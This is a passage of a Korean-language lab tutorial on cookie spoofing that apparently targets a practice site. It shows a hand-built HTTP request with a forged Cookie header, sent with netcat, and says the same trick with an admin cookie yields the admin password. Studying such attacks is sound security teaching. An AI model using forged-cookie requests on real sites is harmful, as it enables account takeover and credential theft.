3. 쿠키 스푸핑

목차

* 쿠키 스푸핑 실습 예제

1. 실습 사이트에 접속한다

2. 해당 페이지에 로그인 한다

3. 로그인한 상태의 쿠키를 살펴본다.

4. 쿠키 스푸핑 요청문을 작성

5. 완성된 요청 패킷을 telnet (nc)를 이용해서 전송

본문내용

rmal 사용자로 변조한 first_cookie=normal; second_cookie=121212을 입력하면 된다.
GET /basic_spoof/success.htm HTTP/1.0
Host: 61.42.25.21
Cookie: first_cookie=normal; second_cookie=121212
쿠키 스푸핑 요청문이 완성 되었다. 조금 편리하게 패킷 캡쳐 프로그램을 이용해서 요청문을 꾸밀 수 도 있다.
5. 완성된 요청 패킷을 telnet (nc)를 이용해서 전송
nc 61.42.25.21 80 명령으로 연결한 후 위의 요청문을 붙여넣기 한다.
위와 같은 결과물을 얻을 수 있다. admin의 비밀 번호를 알아내기 위해서는 위와 동일한 방법으로 admin 의 쿠키로 변조, 요청하면 된다.

키워드

쿠키